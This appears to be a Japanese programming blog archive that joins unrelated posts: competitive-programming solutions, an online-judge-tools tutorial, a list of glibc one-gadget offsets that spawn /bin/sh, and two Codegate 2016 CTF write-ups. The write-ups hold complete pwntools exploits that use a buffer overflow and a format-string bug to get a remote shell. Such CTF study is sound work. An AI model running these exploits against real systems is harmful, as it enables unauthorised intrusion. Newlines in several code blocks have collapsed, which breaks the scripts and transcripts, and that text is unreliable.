# TopCoder SRM 704 Div1 Easy: MovingCandies

,

## solution

DP. For a coordinate $(y, x)$ and a distance $d$, compute the minmum number of moved candies $\mathrm{dp}(y,x,d)$. $O((HW)^2)$. You should take care that $d \le K$ must hold for the total number of candies $K$.

## implementation

#include <bits/stdc++.h>
#define repeat(i,n) for (int i = 0; (i) < (n); ++(i))
#define repeat_from(i,m,n) for (int i = (m); (i) < (n); ++(i))
using namespace std;
template <class T> void setmin(T & a, T const & b) { if (b < a) a = b; }
const int dy[] = { -1, 1, 0, 0 };
const int dx[] = { 0, 0, 1, -1 };
bool is_on_field(int y, int x, int h, int w) { return 0 <= y and y < h and 0 <= x and x < w; }
class MovingCandies { public: int minMoved(vector<string> t); };

const int inf = 1e9+7;
int MovingCandies::minMoved(vector<string> t) {
int h = t.size();
int w = t.front().size();
int cnt = 0;
repeat (y,h) repeat (x,w) if (t[y][x] == '#') cnt += 1;
if (cnt < h + w - 1) return -1;
int ans = inf;
vector<vector<int> > cur(h, vector<int>(w, inf));
vector<vector<int> > prv(h, vector<int>(w, inf));
setmin(cur[0][0], int(t[0][0] == '.'));
repeat_from (dist, 2, cnt+1) {
cur.swap(prv);
repeat (y,h) repeat (x,w) {
cur[y][x] = inf;
repeat (i,4) {
int py = y + dy[i];
int px = x + dx[i];
if (not is_on_field(py, px, h, w)) continue;
setmin(cur[y][x], prv[py][px] + int(t[y][x] == '.'));
}
}
setmin(ans, cur[h-1][w-1]);
}
return ans;
}


,

## environment

a libc for Ubuntu 16.04 or Ubuntu 16.10, x86_64

$md5sum /lib/x86_64-linux-gnu/libc.so.6 a3e78b9d154d9d0936d3a1fda1743479 /lib/x86_64-linux-gnu/libc.so.6$ /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:


### 0x4526a

• [rsp+0x30] = NULL
   4526a:	48 8b 05 47 dc 37 00 	mov    rax,QWORD PTR [rip+0x37dc47]        # 3c2eb8 <environ>
45271:	48 8d 3d ff 6e 14 00 	lea    rdi,[rip+0x146eff]        # 18c177 "/bin/sh"
45278:	48 8d 74 24 30       	lea    rsi,[rsp+0x30]
4527d:	c7 05 19 02 38 00 00 	mov    DWORD PTR [rip+0x380219],0x0        # 3c54a0 <__abort_msg@@GLIBC_PRIVATE+0x8c0>
45284:	00 00 00
45287:	c7 05 13 02 38 00 00 	mov    DWORD PTR [rip+0x380213],0x0        # 3c54a4 <__abort_msg@@GLIBC_PRIVATE+0x8c4>
4528e:	00 00 00
45291:	48 8b 10             	mov    rdx,QWORD PTR [rax]
45294:	e8 27 69 08 00       	call   cbbc0 <execve@@GLIBC_2.2.5>


### 0x6f5a6

• r12 = NULL
   6f5a6:	48 8d 3d ca cb 11 00 	lea    rdi,[rip+0x11cbca]        # 18c177 "/bin/sh"
6f5ad:	48 8d 15 c0 cb 11 00 	lea    rdx,[rip+0x11cbc0]        # 18c174 "-c"
6f5b4:	48 8d 35 c1 cb 11 00 	lea    rsi,[rip+0x11cbc1]        # 18c17c "sh"
6f5bb:	45 31 c0             	xor    r8d,r8d
6f5be:	4c 89 e1             	mov    rcx,r12
6f5c1:	31 c0                	xor    eax,eax
6f5c3:	e8 a8 c8 05 00       	call   cbe70 <execl@@GLIBC_2.2.5>


### 0xcc543

• r12 = NULL
• rcx = NULL
   cc543:	48 8d 3d 2d fc 0b 00 	lea    rdi,[rip+0xbfc2d]        # 18c177 "/bin/sh"
cc54a:	e9 81 fd ff ff       	jmp    cc2d0 <execvpe@@GLIBC_2.11+0x120>
...
cc2d0:	4c 89 e2             	mov    rdx,r12
cc2d3:	48 89 ce             	mov    rsi,rcx
cc2d6:	e8 e5 f8 ff ff       	call   cbbc0 <execve@@GLIBC_2.2.5>


### 0xcc618

• rax = NULL
• r12 = NULL
   cc618:	48 8d 3d 58 fb 0b 00 	lea    rdi,[rip+0xbfb58]        # 18c177 "/bin/sh"
cc61f:	48 89 c6             	mov    rsi,rax
cc622:	e9 38 fe ff ff       	jmp    cc45f <execvpe@@GLIBC_2.11+0x2af>
...
cc45f:	4c 89 e2             	mov    rdx,r12
cc462:	e8 59 f7 ff ff       	call   cbbc0 <execve@@GLIBC_2.2.5>


### 0xef6c4

• [rsp+0x50] = NULL
   ef6c4:	48 8b 05 ed 37 2d 00 	mov    rax,QWORD PTR [rip+0x2d37ed]        # 3c2eb8 <environ>
ef6cb:	48 8d 74 24 50       	lea    rsi,[rsp+0x50]
ef6d0:	48 8d 3d a0 ca 09 00 	lea    rdi,[rip+0x9caa0]        # 18c177  "/bin/sh"
ef6d7:	48 8b 10             	mov    rdx,QWORD PTR [rax]
ef6da:	e8 e1 c4 fd ff       	call   cbbc0 <execve@@GLIBC_2.2.5>


### 0xf0567

• [rsp+0x70] = NULL
   f0567:	48 8b 05 4a 29 2d 00 	mov    rax,QWORD PTR [rip+0x2d294a]        # 3c2eb8 <environ>
f056e:	48 8d 74 24 70       	lea    rsi,[rsp+0x70]
f0573:	48 8d 3d fd bb 09 00 	lea    rdi,[rip+0x9bbfd]        # 18c177  "/bin/sh"
f057a:	48 8b 10             	mov    rdx,QWORD PTR [rax]
f057d:	e8 3e b6 fd ff       	call   cbbc0 <execve@@GLIBC_2.2.5>


### 0xf5b10

• [rbp-0xf8] = NULL
• rcx = NULL
   f5b10:	48 8d 3d 60 66 09 00 	lea    rdi,[rip+0x96660]        # 18c177  "/bin/sh"
f5b17:	eb bc                	jmp    f5ad5 <posix_spawnp@@GLIBC_2.15+0x725>
...
f5ad5:	48 8b 95 08 ff ff ff 	mov    rdx,QWORD PTR [rbp-0xf8]
f5adc:	48 89 ce             	mov    rsi,rcx
f5adf:	e8 dc 60 fd ff       	call   cbbc0 <execve@@GLIBC_2.2.5>


# Codegate CTF 2016 : Fl0ppy

,

https://github.com/ctfs/write-ups-2016/tree/master/codegate-ctf-2016/pwn/Fl0ppy-315

## problem

libcは与えられてない(けど既知として解いた)。

$./fl0ppy =========================================================================== 1. Choose floppy 2. Write 3. Read 4. Modify 5. Exit > 1 =========================================================================== Which floppy do you want to use? 1 or 2?  ## solution 4. Modify/1 Descriptionにbuffer overflowの脆弱性。適当にleakさせてそのままsystem("/bin/sh")が呼べる。 構造は以下のようになっている。descriptionに$36$文字まで突っ込めるのでもう一方のdataを書き換えstack上へ向け、rop chainを書き込む。 struct floppy_t { int is_usable; // 0x0 char *data; // malloc(0x200); // 0x4 char description[10]; // 0x8 int data_length; // strlen(data); // 0x14 }; // 0x18 main() { floppy_t floppy_2; // ebp-0x3c floppy_t floppy_1; // ebp-0x24 ... }  ## implementation #!/usr/bin/env python2 from pwn import * # https://pypi.python.org/pypi/pwntools import argparse parser = argparse.ArgumentParser() parser.add_argument('host', nargs='?', default='localhost') parser.add_argument('port', nargs='?', default=8000, type=int) parser.add_argument('--log-level', default='debug') parser.add_argument('--libc') args = parser.parse_args() context.log_level = args.log_level libc = ELF(args.libc) p = remote(args.host, args.port) def choose(x): p.recvuntil('>\n') p.sendline('1') p.sendline(str(x)) def write(data, descr): p.recvuntil('>\n') p.sendline('2') p.sendline(data) p.sendline(descr) def read(): p.recvuntil('>\n') p.sendline('3') p.recvuntil('DESCRIPTION: ') descr = p.recvuntil('DATA: ', drop=True) data = p.recvuntil('===========================================================================', drop=True) return descr, data def modify(y, s): p.recvuntil('>\n') p.sendline('4') p.sendline(str({ 'description': 1, 'data': 2 }[y])) assert len(s) + 1 <= 0x25 p.sendline(s) # leak stack address choose(1) write('foo', 'bar') modify('description', 'A' * 0x10) descr, _ = read() return_addr = u32(descr[0x14 :][: 4]) - 4 log.info('stack addr: %#x', return_addr) # leak libc address choose(2) write('foo', 'bar') modify('description', 'A' * 0x14 + p32(return_addr)) choose(1) _, data = read() log.info(repr(data)) libc_start_main = u32(data[: 4]) - 247 log.info('__libc_start_main: %#x', libc_start_main) libc_base = libc_start_main - libc.symbols['__libc_start_main'] log.info('libc base: %#x', libc_base) # write rop chain choose(1) payload = '' payload += p32(libc_base + libc.symbols['system']) payload += 'AAAA' payload += p32(libc_base + next(libc.search('/bin/sh'))) modify('data', payload) # fire p.recvuntil('>\n') p.sendline('5') time.sleep(1) p.sendline('id') p.interactive()  # Codegate CTF 2016 : old-school , https://github.com/ctfs/write-ups-2016/tree/master/codegate-ctf-2016/pwn/old-school .fini_arrayを忘れて「stackのaddress総当たりか？」とか言ってた。 ## problem バイナリ,ソースコード,libcのが全部与えられる。 特にコード(整形済み)は以下。 #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { char buf[1024] = { 0, }; printf( "YOUR INPUT :" ); fgets( buf, 1020, stdin ); printf( "RESPONSE :" ); printf( buf ); return 0; }  ## solution 自明なstring-format bugがあるが、一度しか踏めない。 まずstack上からlibcやstackのaddressを回収しつつ.fini_arraymainを書き込む。 これにより$2$回目を作り、再度ROP chainを書き込んでsystem("/bin/sh") ## implementation #!/usr/bin/env python2 from pwn import * # https://pypi.python.org/pypi/pwntools import argparse parser = argparse.ArgumentParser() parser.add_argument('host', nargs='?', default='175.119.158.131') parser.add_argument('port', nargs='?', default=17171, type=int) parser.add_argument('--log-level', default='debug') parser.add_argument('--libc', default='libc-2.21.so') args = parser.parse_args() context.log_level = args.log_level elf = ELF('./oldschool') libc = ELF(args.libc) # with process('./oldschool') as p: with remote(args.host, args.port) as p: # first payload fini_array, = filter(lambda x: x.name == '.fini_array', elf.sections) data = map(ord, p32(elf.symbols['main'])) log.info('.fini_array: %#x', fini_array.header.sh_addr) addr = fini_array.header.sh_addr offset = 7 + 17 payload = '' payload += '%267$255p ' # %7$x payload += '%264$255p '
payload += '%{}c%{}$hhn'.format((data[0] - 1) % 256 + 1, offset ) payload += '%{}c%{}$hhn'.format((data[1] - data[0] - 1) % 256 + 1, offset + 1)
payload += '%{}c%{}$hhn'.format((data[2] - data[1] - 1) % 256 + 1, offset + 2) payload += '%{}c%{}$hhn'.format((data[3] - data[2] - 1) % 256 + 1, offset + 3)
assert offset == len(payload) / 4 + 7
payload += '%4096c' # to flush

p.recvuntil('RESPONSE :')
# s = p.recvline()
s = p.recv(2000)
libc_start_main = int(s.split()[0], 16) - 247
log.info('__libc_start_main: %#x', libc_start_main)
libc_base = libc_start_main - libc.symbols['__libc_start_main']
log.info('libc base: %#x', libc_base)
return_addr = int(s.split()[1], 16) - 20

log.info('system: %#x',  libc_base + libc.symbols['system'])
log.info('/bin/sh: %#x', libc_base + next(libc.search('/bin/sh')))
data = []
data += map(ord, p32(libc_base + libc.symbols['system']))
data += map(ord, p32(libc_base + next(libc.search('/bin/sh'))))
for delta in range(-2, 2+1):
offset = 7 + 23 + delta
payload += '%{}c%{}$hhn'.format((data[0] - 1) % 256 + 1, offset ) payload += '%{}c%{}$hhn'.format((data[1] - data[0] - 1) % 256 + 1, offset + 1)
payload += '%{}c%{}$hhn'.format((data[2] - data[1] - 1) % 256 + 1, offset + 2) payload += '%{}c%{}$hhn'.format((data[3] - data[2] - 1) % 256 + 1, offset + 3)
payload += '%{}c%{}$hhn'.format((data[4] - data[3] - 1) % 256 + 1, offset + 4) payload += '%{}c%{}$hhn'.format((data[5] - data[4] - 1) % 256 + 1, offset + 5)
payload += '%{}c%{}$hhn'.format((data[6] - data[5] - 1) % 256 + 1, offset + 6) payload += '%{}c%{}$hhn'.format((data[7] - data[6] - 1) % 256 + 1, offset + 7)
if offset != len(payload) / 4 + 7:
continue
break
else:
assert False

# p.recvuntil('RESPONSE :')

time.sleep(1)
p.sendline('id')
p.interactive()


# Yukicoder No.83 最大マッチング

,

http://yukicoder.me/problems/no/83

## implementation

#!/usr/bin/env python3
n = int(input())
if n % 2 == 0:
s = '1' * (n//2)
else:
s = '7' + '1' * (n//2 - 1)
print(s)


# 競技プログラミングのための補助ツールを作った

,

この記事の記述時のversionは0.1.9です。

## 概要

• サンプルケースの自動取得
• 取得したケースに対するテスト
• 回答の提出

また、以下のような機能も持ちます。

• 問題文中の入力フォーマットを解析し、入力取得コードを自動生成
• 入力ケースと愚直解を与え、これを想定解として出力ケースを生成
• 複数ケースを含む入力ファイルを解析し、個別ケースを切り出し
• 標準入出力で受け答えするジャッジプログラムを用いる、リアクティブ問のテスト

• 導入が楽
• 高精度

## 導入

pythonのpackageとしても公開してある[link]ので、導入は以下の$1$行だけで完了します。

$sudo pip3 install online-judge-tools  更新の取得は以下です。 $ sudo pip3 install --upgrade online-judge-tools


Windows上で動くかどうかは分かりません。msys2やcygwinで頑張るか、あるいはどうしてもこれが使いたければWindowsは諦めて仮想環境を使ってください1

## 利用

サンプルケースの自動取得は以下のようにURLを指定して実行すればできます。 ちゃんとテストも書いて丁寧に実装しているので精度は高いはずです。

$oj dl URL  多めに出力が出ます。サンプルケースの内容も表示されるので、何かまずそうならすぐ気付けるようになっています。terminal上だと色が付いたり太字になったりします。 $ oj dl http://agc001.contest.atcoder.jp/tasks/agc001_a
[x] problem recognized: <onlinejudge.atcoder.AtCoderProblem object at 0x7f1fb6c4dd30>: http://agc001.contest.atcoder.jp/tasks/agc001_a
[x] 200 OK
[*] skipped due to language: current one is lang-ja, not lang-en: Sample Input 1
[*] skipped due to language: current one is lang-ja, not lang-en: Sample Output 1
[*] skipped due to language: current one is lang-ja, not lang-en: Sample Input 2
[*] skipped due to language: current one is lang-ja, not lang-en: Sample Output 2

[*] sample 0
[x] input: 入力例 1
2
1 3 1 2
[+] saved to: test/sample-1.in
[x] output: 出力例 1
3
[+] saved to: test/sample-1.out

[*] sample 1
[x] input: 入力例 2
5
100 1 2 3 14 15 58 58 58 29
[+] saved to: test/sample-2.in
[x] output: 出力例 2
135
[+] saved to: test/sample-2.out


### test

サンプルケースを用いてテストを行います。コマンドは以下の形で、-c COMMANDが省略された場合は./a.outが使われます。

$oj test [-c COMMAND]  $ oj test -c ./a.pl
[*] 2 cases found

[*] sample-1
[x] time: 0.002464 sec
[+] AC

[*] sample-2
[x] time: 0.002267 sec
[-] WA
output:
1

expected:
1
2
Fizz
4
Buzz
Fizz
7
8
Fizz
Buzz
11
Fizz
13
14
FizzBuzz
16

[x] slowest: 0.002464 sec  (for sample-1)
[-] test failed: 1 AC / 2 cases


$oj login URL  実行するとusername/passwordが聞かれるので入力してください。 loginに成功するとsession情報のみがファイルに保存されます。 $ oj login http://codeforces.com
[x] service recognized: <onlinejudge.codeforces.CodeforcesService object at 0x7fd80b96c780>: http://codeforces.com
[x] GET: http://codeforces.com/enter
[x] 200 OK
[x] POST: http://codeforces.com/enter
[x] 200 OK
[+] Welcome, user.


### submit

submitもできます。shellのヒストリ機能で誤爆するとペナルティが生えて危ないので、あまり使わない方がいい気がしています。 なので優先順位が低くあまり対応サービスは多くないのですが、要望があれば増えるはずです。

$oj submit URL SOLUTION [--language LANG]  --language LANGを指定しなかった場合は選択可能な言語の一覧が表示されます。 $ oj submit http://yukicoder.me/problems/no/9002 a.pl --language perl
[x] problem recognized: <onlinejudge.yukicoder.YukicoderProblem object at 0x7fb2ce08eb38>: http://yukicoder.me/problems/no/9002
[*] code:
#!/usr/bin/perl
print+(Fizz)[$_%3].(Buzz)[$_%5]||$_,$/for 1..<>

[x] GET: https://yukicoder.me/problems/no/9002/submit
[x] 200 OK
[x] POST: https://yukicoder.me/problems/16/submit
[x] 200 OK
[+] success: result: https://yukicoder.me/submissions/144776


### generate-scanner

N
L_1 L_2 ... L_2N


が、

int N; cin >> N;
vector<int> L(2*N); repeat (i,2*N) cin >> L[i];


になります。

コマンドは次です。

$oj g/s URL  しかしeditorのコマンドに割り当てておくべきです。以下はvimの例。 nnoremap <space>gs :r! oj generate-scanner --silent --repeat-macro=repeat  実行例。 $ oj generate-scanner --repeat-macro=repeat http://agc001.contest.atcoder.jp/tasks/agc001_a
[!] This feature is experimental.
[x] problem recognized: <onlinejudge.atcoder.AtCoderProblem object at 0x7f1c700c3cf8>: http://agc001.contest.atcoder.jp/tasks/agc001_a
[x] 200 OK
[+] success:
int N; cin >> N;
vector<int> L(2*N); repeat (i,2*N) cin >> L[i];


$oj g/o [-c COMMAND]  ### split-input ICPCでよくある単一ファイルに複数ケース入ってる場合に、ケースごとにファイルに切り分けます。 既にある実装を利用し、入力を$1$行ずつ与えて、出力が発生したらケースの区切りが来たと認識して分割します。 $ oj s/i [-i SOURCE] [-o DEST_FORMAT] [-c COMMAND]


### test-reactive

リアクティブ問のテストを簡単にする機能です。 パイプを作っていい感じに繋ぐ処理をしてくれるので、入出力を標準入出力で行うようなジャッジプログラムを書くだけでよくなります。

## implementation

#include <cstdio>
#include <algorithm>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define repeat_from(i,m,n) for (int i = (m); (i) < int(n); ++(i))
using ll = long long;
using namespace std;

int n, m;
int a[5003];
ll a_acc[5003];
int b[5003][203];
int b_best[203];
int main() {
scanf("%d%d", &n, &m);
repeat (i,n-1) scanf("%d", &a[i]);
repeat (i,n-1) a_acc[i+1] = a_acc[i] + a[i];
repeat (i,n) repeat (j,m) scanf("%d", &b[i][j]);
ll ans = 0;
repeat (l,n) {
repeat (j,m) b_best[j] = 0;
ll b_acc = 0;
repeat_from (r,l,n) { // [l,r]
repeat (j,m) {
if (b_best[j] < b[r][j]) {
b_acc += - b_best[j] + b[r][j];
b_best[j] = b[r][j];
}
}
ans = max(ans, b_acc - (a_acc[r] - a_acc[l]));
}
}
printf("%lld\n", ans);
return 0;
}